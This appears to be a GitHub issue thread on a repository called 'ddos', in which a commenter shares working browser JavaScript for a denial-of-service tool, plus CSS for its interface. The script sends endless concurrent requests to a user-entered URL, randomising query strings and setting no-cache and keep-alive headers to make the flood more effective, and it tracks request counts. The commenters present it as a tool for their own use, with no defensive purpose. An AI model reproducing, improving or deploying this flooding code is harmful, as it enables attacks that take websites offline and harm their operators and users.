Darksel0 / ddos

https://darksel0.github.io/ddos/
2 stars 1 forks source link

better than dos #2

Open Mrgaton opened 3 months ago

Mrgaton commented 3 months ago

this is much better than dos i think i will use it for miself thanks.


   var targetStats = {};
        var statsElement = document.getElementById("stats");

        function displayStats() {
            statsElement.innerHTML = "<table width=\"100%\"><thead><tr><th>URL</th><th>Requests</th><th>Errors</th></tr></thead><tbody>" +
                Object.entries(targetStats).map(([url, { number_of_requests: requests, number_of_errored_responses: errors }]) =>
                    `<tr><td>${url}</td><td>${requests}</td><td>${errors}</td></tr>`
                ).join("") + "</tbody></table>";
        }

        setInterval(displayStats, 1000);

        var requestQueue = [];

        async function fetchWithTimeout(url, options) {
            const abortController = new AbortController();
            const timeoutId = setTimeout(() => abortController.abort(), options.timeout);

            return fetch(url, {
                method: "GET",
                mode: "no-cors",
                headers: {
                    "cache-control": "no-cache",
                    "connection": "keep-alive"
                },
                signal: abortController.signal
            }).then(response => {
                clearTimeout(timeoutId);
                return response;
            }).catch(error => {
                clearTimeout(timeoutId);
                throw error;
            });
        }

        async function sendRequests(targetUrl) {
            for (let i = 0; ; ++i) {
                if (requestQueue.length > 1000) {
                    await requestQueue.shift();
                }
                let randomSuffix = i % 3 === 0 ? "" : "?" + Math.random() * 100000;
                requestQueue.push(fetchWithTimeout(targetUrl + randomSuffix, { timeout: 1000 })
                    .catch(error => {
                        if (error.code === 20) {
                            return;
                        }
                        targetStats[targetUrl].number_of_errored_responses++;
                    }).then(response => {
                        if (response && !response.ok) {
                            targetStats[targetUrl].number_of_errored_responses++;
                        }
                        targetStats[targetUrl].number_of_requests++;
                    }));
            }
        }

        function startAttack() {
            const targetUrl = document.getElementById("urlInput").value;

            localStorage.setItem("url", targetUrl);
            if (targetUrl) {
                targetStats[targetUrl] = {
                    number_of_requests: 0,
                    number_of_errored_responses: 0
                };
                sendRequests(targetUrl);
            }
        }

        function stopAttack() {
            requestQueue = [];
        }

        document.getElementById("urlInput").value = localStorage.getItem("url");
Mrgaton commented 3 months ago

i even added to save the url when you refresh

Mrgaton commented 3 months ago

and added nocache and keep alive headers for some pages to be even more effective

Mrgaton commented 3 months ago

i also added css if you wan to put it on your code too here it is

<style>
    body {
        font-family: Arial, sans-serif;
    }

    table {
        width: 100%;
        border-collapse: collapse;
        margin: 20px 0;
    }

    thead {
        background-color: #f8f8f8;
    }

    th,
    td {
        text-align: left;
        padding: 8px;
        border-bottom: 1px solid #ddd;
    }

    tr:nth-child(even) {
        background-color: #f2f2f2;
    }

    tr:hover {
        background-color: #ddd;
    }

    #stats {
        width: 80%;
        margin: auto;
    }

    div {
        display: flex;
        justify-content: center;
        margin-top: 20px;
        margin: 20px;
    }

    input[type="text"] {
        width: 50%;
        padding: 10px;
        margin-right: 10px;
        border-radius: 5px;
        margin: 0.5%;
    }

    button {
        padding: 10px 20px;
        /*border-radius: 5px;*/
        border: none;
        background-color: #4CAF50;
        color: white;
        cursor: pointer;
        margin: 0.5%;
    }

    button:hover {
        background-color: #45a049;
    }
</style>
Mrgaton commented 3 months ago

image Just looks gorgeous